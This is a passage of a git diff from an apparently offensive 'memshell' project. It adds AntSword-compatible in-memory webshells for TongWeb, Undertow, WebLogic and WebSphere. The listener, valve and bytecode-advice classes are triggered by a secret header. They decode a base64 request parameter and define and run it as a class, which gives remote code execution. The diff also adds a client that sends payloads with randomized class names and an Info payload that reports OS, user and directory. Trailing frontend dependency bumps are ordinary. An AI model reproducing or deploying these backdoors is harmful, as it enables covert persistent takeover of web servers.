Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("deprecation") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override + @SuppressWarnings("all") + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = getResponseFromRequest(request); + byte[] bytes = base64Decode(request.getParameter(pass)); + Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(new Object[]{request, response}); + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + try { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); + } catch (Exception e) { + response = (HttpServletResponse) getFieldValue(request, "response"); + } + return response; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/antsword/AntSwordValve6.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/antsword/AntSwordValve6.java new file mode 100644 index 00000000..2d07ae04 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/antsword/AntSwordValve6.java @@ -0,0 +1,99 @@ +package com.reajason.javaweb.memshell.tongweb.antsword; + +import com.tongweb.web.thor.Valve; +import com.tongweb.web.thor.comet.CometEvent; +import com.tongweb.web.thor.connector.Request; +import com.tongweb.web.thor.connector.Response; + +import javax.servlet.ServletException; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2025/02/18 + */ +public class AntSwordValve6 extends ClassLoader implements Valve { + public static String pass; + public static String headerName; + public static String headerValue; + protected Valve next; + protected boolean asyncSupported; + + public AntSwordValve6() { + } + + public AntSwordValve6(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception var5) { + } + } + return value; + } + + @SuppressWarnings("all") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + @Override + public String getInfo() { + return ""; + } + + @Override + public Valve getNext() { + return this.next; + } + + @Override + public void setNext(Valve valve) { + this.next = valve; + } + + @Override + public boolean isAsyncSupported() { + return this.asyncSupported; + } + + @Override + public void backgroundProcess() { + } + + @Override + @SuppressWarnings("all") + public void invoke(Request request, Response response) throws IOException, ServletException { + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + byte[] bytes = base64Decode(request.getParameter(pass)); + Object instance = (new AntSwordValve6(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(new Object[]{request, response}); + } else { + this.getNext().invoke(request, response); + } + } catch (Exception e) { + e.printStackTrace(); + this.getNext().invoke(request, response); + } + } + + @Override + public void event(Request var1, Response var2, CometEvent var3) throws IOException, ServletException { + + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/antsword/AntSwordValve7.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/antsword/AntSwordValve7.java new file mode 100644 index 00000000..96d2e654 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/antsword/AntSwordValve7.java @@ -0,0 +1,88 @@ +package com.reajason.javaweb.memshell.tongweb.antsword; + +import com.tongweb.catalina.Valve; +import com.tongweb.catalina.connector.Request; +import com.tongweb.catalina.connector.Response; + +import javax.servlet.ServletException; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2025/02/18 + */ +public class AntSwordValve7 extends ClassLoader implements Valve { + public static String pass; + public static String headerName; + public static String headerValue; + protected Valve next; + protected boolean asyncSupported; + + public AntSwordValve7() { + } + + public AntSwordValve7(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception var5) { + } + } + return value; + } + + @SuppressWarnings("all") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + @Override + public Valve getNext() { + return this.next; + } + + @Override + public void setNext(Valve valve) { + this.next = valve; + } + + @Override + public boolean isAsyncSupported() { + return this.asyncSupported; + } + + @Override + public void backgroundProcess() { + } + + @Override + @SuppressWarnings("all") + public void invoke(Request request, Response response) throws IOException, ServletException { + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + byte[] bytes = base64Decode(request.getParameter(pass)); + Object instance = (new AntSwordValve7(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(new Object[]{request, response}); + } else { + this.getNext().invoke(request, response); + } + } catch (Exception e) { + e.printStackTrace(); + this.getNext().invoke(request, response); + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/antsword/AntSwordListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/antsword/AntSwordListener.java new file mode 100644 index 00000000..0c080cb2 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/antsword/AntSwordListener.java @@ -0,0 +1,102 @@ +package com.reajason.javaweb.memshell.undertow.antsword; + +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.lang.reflect.Field; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class AntSwordListener extends ClassLoader implements ServletRequestListener { + public static String pass; + public static String headerName; + public static String headerValue; + + public AntSwordListener() { + } + + public AntSwordListener(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("deprecation") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override + @SuppressWarnings("all") + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = getResponseFromRequest(request); + byte[] bytes = base64Decode(request.getParameter(pass)); + Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(new Object[]{request, response}); + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + Map map = (Map) getFieldValue(getFieldValue(request, "exchange"), "attachments"); + Object[] keys = map.keySet().toArray(); + for (Object key : keys) { + if (map.get(key).toString().contains("ServletRequestContext")) { + response = (HttpServletResponse) getFieldValue(map.get(key), "servletResponse"); + break; + } + } + return response; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/antsword/AntSwordServletInitialHandlerAdvisor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/antsword/AntSwordServletInitialHandlerAdvisor.java new file mode 100644 index 00000000..a53a6a05 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/antsword/AntSwordServletInitialHandlerAdvisor.java @@ -0,0 +1,55 @@ +package com.reajason.javaweb.memshell.undertow.antsword; + +import net.bytebuddy.asm.Advice; + +import java.lang.reflect.Method; + +/** + * @author ReaJason + */ +public class AntSwordServletInitialHandlerAdvisor { + + @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) + public static boolean enter( + @Advice.AllArguments Object[] args + ) { + String pass = "pass"; + String headerName = "headerName"; + String headerValue = "headerValue"; + try { + Object servletRequestContext = null; + if (args.length == 2) { + servletRequestContext = args[1]; + } else { + servletRequestContext = args[2]; + } + Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext); + Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext); + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + if (value != null + && value.contains(headerValue)) { + byte[] data = null; + Class base64; + String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); + try { + base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader()); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter); + } catch (Exception var6) { + base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader()); + Object decoder = base64.newInstance(); + data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter); + } + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class payload = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length); + Object instance = payload.newInstance(); + instance.equals(new Object[]{request, response}); + return true; + } + } catch (Exception e) { + e.printStackTrace(); + } + return false; + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/antsword/AntSwordListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/antsword/AntSwordListener.java new file mode 100644 index 00000000..15881ef2 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/antsword/AntSwordListener.java @@ -0,0 +1,99 @@ +package com.reajason.javaweb.memshell.weblogic.antsword; + +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.lang.reflect.Field; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class AntSwordListener extends ClassLoader implements ServletRequestListener { + public static String pass; + public static String headerName; + public static String headerValue; + + public AntSwordListener() { + } + + public AntSwordListener(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("deprecation") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override + @SuppressWarnings("all") + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = getResponseFromRequest(request); + byte[] bytes = base64Decode(request.getParameter(pass)); + Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(new Object[]{request, response}); + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + try { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); + } catch (Exception e) { + response = (HttpServletResponse) getFieldValue(request, "response"); + } + return response; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/antsword/AntSwordListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/antsword/AntSwordListener.java new file mode 100644 index 00000000..cfc9cace --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/antsword/AntSwordListener.java @@ -0,0 +1,92 @@ +package com.reajason.javaweb.memshell.websphere.antsword; + +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.lang.reflect.Field; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class AntSwordListener extends ClassLoader implements ServletRequestListener { + public static String pass; + public static String headerName; + public static String headerValue; + + public AntSwordListener() { + } + + public AntSwordListener(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("deprecation") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override + @SuppressWarnings("all") + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = getResponseFromRequest(request); + byte[] bytes = base64Decode(request.getParameter(pass)); + Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(new Object[]{request, response}); + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + return (HttpServletResponse) getFieldValue(getFieldValue(request, "_connContext"), "_response"); + } +} diff --git a/tools/ant-sword/build.gradle b/tools/ant-sword/build.gradle new file mode 100644 index 00000000..14e2dada --- /dev/null +++ b/tools/ant-sword/build.gradle @@ -0,0 +1,33 @@ +plugins { + id "io.freefair.lombok" version "8.11" +} + +group = 'com.reajason.javaweb.tools' +version = rootProject.version + +java { + toolchain { + languageVersion = JavaLanguageVersion.of(8) + } + sourceCompatibility = JavaVersion.VERSION_1_8 + targetCompatibility = JavaVersion.VERSION_1_8 +} + +dependencies { + implementation project(":common") + implementation 'net.bytebuddy:byte-buddy' + + implementation 'javax.servlet:javax.servlet-api' + implementation 'commons-io:commons-io' + implementation 'org.apache.commons:commons-lang3' + implementation 'commons-codec:commons-codec' + + implementation 'com.squareup.okhttp3:okhttp' + implementation 'com.alibaba.fastjson2:fastjson2' + testImplementation platform('org.junit:junit-bom') + testImplementation 'org.junit.jupiter:junit-jupiter' +} + +test { + useJUnitPlatform() +} \ No newline at end of file diff --git a/tools/ant-sword/src/main/java/com/reajason/javaweb/antsword/AntSwordManager.java b/tools/ant-sword/src/main/java/com/reajason/javaweb/antsword/AntSwordManager.java new file mode 100644 index 00000000..6300db34 --- /dev/null +++ b/tools/ant-sword/src/main/java/com/reajason/javaweb/antsword/AntSwordManager.java @@ -0,0 +1,88 @@ +package com.reajason.javaweb.antsword; + +import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; +import lombok.Data; +import lombok.SneakyThrows; +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.ClassFileVersion; +import net.bytebuddy.jar.asm.Opcodes; +import okhttp3.*; + +import java.util.Base64; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + * @since 2025/1/23 + */ +@Data +public class AntSwordManager { + private final OkHttpClient client; + private String entrypoint; + private String pass; + + private Map headers = new HashMap<>(); + + public AntSwordManager() { + this.client = new OkHttpClient.Builder().build(); + } + + @SneakyThrows + public String getInfo() { + byte[] bytes = new ByteBuddy(ClassFileVersion.JAVA_V6).redefine(Info.class) + .name(Utils.getRandomClassName(Info.class.getName())) + .visit(new TargetJreVersionVisitorWrapper(Opcodes.V1_6)) + .make().getBytes(); + String base64String = Base64.getEncoder().encodeToString(bytes); + RequestBody requestBody = new FormBody.Builder() + .add(this.pass, base64String) + .add("j4677eff439969", "wO") + .build(); + Request.Builder builder = new Request.Builder() + .url(this.entrypoint) + .post(requestBody) + .headers(Headers.of(this.headers)); + try (Response response = client.newCall(builder.build()).execute()) { + return response.body().string(); + } catch (Exception ignored) { + } + return ""; + } + + public static AntSwordManager.AntSwordManagerBuilder builder() { + return new AntSwordManager.AntSwordManagerBuilder(); + } + + public static class AntSwordManagerBuilder { + private final Map headers = new HashMap<>(); + private String entrypoint; + private String pass; + + public AntSwordManager.AntSwordManagerBuilder entrypoint(String entrypoint) { + this.entrypoint = entrypoint; + return this; + } + + public AntSwordManager.AntSwordManagerBuilder pass(String pass) { + this.pass = pass; + return this; + } + + public AntSwordManager.AntSwordManagerBuilder header(String key, String value) { + this.headers.put(key, value); + return this; + } + + public AntSwordManager build() { + AntSwordManager manager = new AntSwordManager(); + manager.setPass(pass); + manager.setEntrypoint(entrypoint); + Map headers = new HashMap<>(16); + headers.put("Content-Type", "application/x-www-form-urlencoded"); + headers.putAll(this.headers); + manager.setHeaders(headers); + return manager; + } + } +} diff --git a/tools/ant-sword/src/main/java/com/reajason/javaweb/antsword/Info.java b/tools/ant-sword/src/main/java/com/reajason/javaweb/antsword/Info.java new file mode 100644 index 00000000..ac5f0dd2 --- /dev/null +++ b/tools/ant-sword/src/main/java/com/reajason/javaweb/antsword/Info.java @@ -0,0 +1,150 @@ +package com.reajason.javaweb.antsword; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.File; +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +public class Info { + public HttpServletRequest request = null; + public HttpServletResponse response = null; + public String encoder = "base64"; + public String cs = "UTF8"; + public String randomPrefix = "2"; + public String decoderClassdata; + + public Info() { + } + + public boolean equals(Object var1) { + this.parseObj(var1); + StringBuffer var2 = new StringBuffer(); + String var3 = "2f9d7d"; + String var4 = "2d5c21ab2c35"; + String var5 = "j4677eff439969"; + + try { + this.response.setContentType("text/html"); + this.request.setCharacterEncoding(this.cs); + this.response.setCharacterEncoding(this.cs); + this.decoderClassdata = this.decode(this.request.getParameter(var5)); + var2.append(this.SysInfoCode()); + } catch (Exception var8) { + var2.append("ERROR:// " + var8.toString()); + } + + try { + this.response.getWriter().print(var3 + this.asoutput(var2.toString()) + var4); + } catch (Exception var7) { + } + + return true; + } + + String SysInfoCode() { + String var1 = System.getProperty("user.dir"); + String var2 = System.getProperty("os.name"); + String var3 = System.getProperty("user.name"); + String var4 = this.WwwRootPathCode(var1); + return var1 + " ok " + "\t" + var4 + "\t" + var2 + "\t" + var3; + } + + String WwwRootPathCode(String var1) { + StringBuilder var2 = new StringBuilder(); + if (!var1.startsWith("/")) { + try { + File[] var3 = File.listRoots(); + + for(File var7 : var3) { + var2.append(var7.toString(), 0, 2); + } + } catch (Exception var8) { + var2.append("/"); + } + } else { + var2.append("/"); + } + + return var2.toString(); + } + + public void parseObj(Object var1) { + if (var1.getClass().isArray()) { + Object[] var2 = (Object[]) var1; + this.request = (HttpServletRequest)var2[0]; + this.response = (HttpServletResponse)var2[1]; + } else { + try { + Class var9 = Class.forName("javax.servlet.jsp.PageContext"); + this.request = (HttpServletRequest)var9.getDeclaredMethod("getRequest").invoke(var1); + this.response = (HttpServletResponse)var9.getDeclaredMethod("getResponse").invoke(var1); + } catch (Exception var8) { + if (var1 instanceof HttpServletRequest) { + this.request = (HttpServletRequest)var1; + + try { + Field var3 = this.request.getClass().getDeclaredField("request"); + var3.setAccessible(true); + HttpServletRequest var4 = (HttpServletRequest)var3.get(this.request); + Field var5 = var4.getClass().getDeclaredField("response"); + var5.setAccessible(true); + this.response = (HttpServletResponse)var5.get(var4); + } catch (Exception var7) { + try { + this.response = (HttpServletResponse)this.request.getClass().getDeclaredMethod("getResponse").invoke(var1); + } catch (Exception var6) { + } + } + } + } + } + + } + + public String asoutput(String var1) { + try { + byte[] var2 = this.Base64DecodeToByte(this.decoderClassdata); + Method var3 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); + var3.setAccessible(true); + Class var4 = (Class)var3.invoke(this.getClass().getClassLoader(), var2, 0, var2.length); + return var4.getConstructor(String.class).newInstance(var1).toString(); + } catch (Exception var5) { + return var1; + } + } + + String decode(String var1) throws Exception { + int var2 = 0; + + try { + var2 = Integer.parseInt(this.randomPrefix); + var1 = var1.substring(var2); + } catch (Exception var4) { + var2 = 0; + } + + return this.encoder.equals("base64") ? new String(this.Base64DecodeToByte(var1), this.cs) : var1; + } + + public byte[] Base64DecodeToByte(String var1) { + Object var2 = null; + String var3 = System.getProperty("java.version"); + + try { + byte[] var7; + if (var3.compareTo("1.9") >= 0) { + Class var4 = Class.forName("java.util.Base64"); + Object var5 = var4.getMethod("getDecoder").invoke((Object)null); + var7 = (byte[])var5.getClass().getMethod("decode", String.class).invoke(var5, var1); + } else { + Class var8 = Class.forName("sun.misc.BASE64Decoder"); + var7 = (byte[])var8.getMethod("decodeBuffer", String.class).invoke(var8.newInstance(), var1); + } + + return var7; + } catch (Exception var6) { + return new byte[0]; + } + } +} \ No newline at end of file diff --git a/tools/ant-sword/src/main/java/com/reajason/javaweb/antsword/Utils.java b/tools/ant-sword/src/main/java/com/reajason/javaweb/antsword/Utils.java new file mode 100644 index 00000000..0c244281 --- /dev/null +++ b/tools/ant-sword/src/main/java/com/reajason/javaweb/antsword/Utils.java @@ -0,0 +1,41 @@ +package com.reajason.javaweb.antsword; + +import java.util.Random; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class Utils { + + public static String getRandomAlpha(int length) { + String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; + Random random = new Random(); + StringBuilder sb = new StringBuilder(); + for (int i = 0; i < length; ++i) { + int number = random.nextInt(52); + sb.append(str.charAt(number)); + } + + return sb.toString(); + } + + public static String getRandomClassName(String sourceName) { + String[] domainAs = new String[]{"com", "net", "org", "sun"}; + String domainB = getRandomAlpha((new Random()).nextInt(5) + 3).toLowerCase(); + String domainC = getRandomAlpha((new Random()).nextInt(5) + 3).toLowerCase(); + String domainD = getRandomAlpha((new Random()).nextInt(5) + 3).toLowerCase(); + String className = getRandomAlpha((new Random()).nextInt(7) + 4); + className = className.substring(0, 1).toUpperCase() + className.substring(1).toLowerCase(); + int domainAIndex = (new Random()).nextInt(4); + String domainA = domainAs[domainAIndex]; + int randomSegments = (new Random()).nextInt(3) + 3; + if (randomSegments == 3) { + return domainA + "." + domainB + "." + className; + } else if (randomSegments == 4) { + return domainA + "." + domainB + "." + domainC + "." + className; + } else { + return domainA + "." + domainB + "." + domainC + "." + className; + } + } +} diff --git a/tools/ant-sword/src/test/java/com/reajason/javaweb/antsword/AntSwordManagerTest.java b/tools/ant-sword/src/test/java/com/reajason/javaweb/antsword/AntSwordManagerTest.java new file mode 100644 index 00000000..fb5c7315 --- /dev/null +++ b/tools/ant-sword/src/test/java/com/reajason/javaweb/antsword/AntSwordManagerTest.java @@ -0,0 +1,20 @@ +package com.reajason.javaweb.antsword; + +import org.junit.jupiter.api.Disabled; +import org.junit.jupiter.api.Test; + +/** + * @author ReaJason + * @since 2025/2/18 + */ +class AntSwordManagerTest { + + @Test + @Disabled("only for local test") + void test() { + AntSwordManager antSwordManager = AntSwordManager.builder() + .pass("ant") + .entrypoint("http://localhost:8082/app/ant.jsp").build(); + System.out.println(antSwordManager.getInfo()); + } +} \ No newline at end of file diff --git a/web/bun.lockb b/web/bun.lockb index 5c04916c..e8315880 100755 Binary files a/web/bun.lockb and b/web/bun.lockb differ diff --git a/web/package.json b/web/package.json index fb63ce00..f94a75ba 100644 --- a/web/package.json +++ b/web/package.json @@ -13,10 +13,10 @@ }, "devDependencies": { "@biomejs/biome": "1.9.4", - "@tanstack/router-plugin": "^1.104.1", + "@tanstack/router-plugin": "^1.105.0", "@types/node": "^22.13.4", - "@types/react": "^19.0.8", - "@types/react-dom": "^19.0.3", + "@types/react": "^19.0.10", + "@types/react-dom": "^19.0.4", "@vitejs/plugin-react": "^4.3.4", "@types/react-copy-to-clipboard": "^5.0.7", "@types/react-syntax-highlighter": "^15.5.13", @@ -25,7 +25,7 @@ "vite": "^6.1.0" }, "dependencies": { - "@hookform/resolvers": "^4.0.0", + "@hookform/resolvers": "^4.1.0", "@radix-ui/react-alert-dialog": "^1.1.6", "@radix-ui/react-checkbox": "^1.1.4", "@radix-ui/react-dropdown-menu": "^2.1.6", @@ -38,9 +38,9 @@ "@radix-ui/react-tabs": "^1.1.3", "@radix-ui/react-tooltip": "^1.1.8", "@tailwindcss/vite": "^4.0.6", - "@tanstack/react-query": "^5.66.0", - "@tanstack/react-router": "^1.104.1", - "@tanstack/router-devtools": "^1.104.3", + "@tanstack/react-query": "^5.66.7", + "@tanstack/react-router": "^1.105.0", + "@tanstack/router-devtools": "^1.105.0", "class-variance-authority": "^0.7.1", "clsx": "^2.1.1", "i18next": "^24.2.2", @@ -49,7 +49,7 @@ "react-copy-to-clipboard": "^5.1.0", "react-dom": "^19.0.0", "react-hook-form": "^7.54.2", - "react-i18next": "^15.4.0", + "react-i18next": "^15.4.1", "react-syntax-highlighter": "^15.6.1", "sonner": "^1.7.4", "tailwind-merge": "^3.0.1", diff --git a/web/src/components/main-config-card.tsx b/web/src/components/main-config-card.tsx index e09f7e58..f0dc881c 100644 --- a/web/src/components/main-config-card.tsx +++ b/web/src/components/main-config-card.tsx @@ -136,7 +136,7 @@ export function MainConfigCard({ name="server" render={({ field }) => ( - {t("mainConfig.server")} + {t("mainConfig.server")} { if (Number.parseInt(v) >= 53) { @@ -255,7 +255,7 @@ export function MainConfigCard({ - + @@ -272,7 +272,7 @@ function ShellTypeFormField({ form, shellTypes }: { form: UseFormReturn ( - {t("mainConfig.shellMountType")} + {t("mainConfig.shellMountType")} )} @@ -327,7 +327,7 @@ function OptionalClassFormField({ form }: { form: UseFormReturn }) { name="shellClassName" render={({ field }) => ( - + {t("mainConfig.shellClassName")} {t("optional")} @@ -339,7 +339,7 @@ function OptionalClassFormField({ form }: { form: UseFormReturn }) { name="injectorClassName" render={({ field }) => ( - + {t("mainConfig.injectorClassName")} {t("optional")} @@ -366,8 +366,8 @@ function BehinderTabContent({ form, shellTypes }: { form: UseFormReturn ( - {t("shellToolConfig.behinderPass")} - + {t("shellToolConfig.behinderPass")} + )} /> @@ -377,7 +377,7 @@ function BehinderTabContent({ form, shellTypes }: { form: UseFormReturn ( - {t("shellToolConfig.headerName")} + {t("shellToolConfig.headerName")} )} @@ -387,7 +387,7 @@ function BehinderTabContent({ form, shellTypes }: { form: UseFormReturn ( - {t("shellToolConfig.headerValue")} + {t("shellToolConfig.headerValue")} )} @@ -418,7 +418,7 @@ function GodzillaTabContent({ form, shellTypes }: { form: UseFormReturn ( - {t("shellToolConfig.pass")} + {t("shellToolConfig.pass")} )} @@ -428,7 +428,7 @@ function GodzillaTabContent({ form, shellTypes }: { form: UseFormReturn ( - {t("shellToolConfig.key")} + {t("shellToolConfig.key")} )} @@ -438,7 +438,7 @@ function GodzillaTabContent({ form, shellTypes 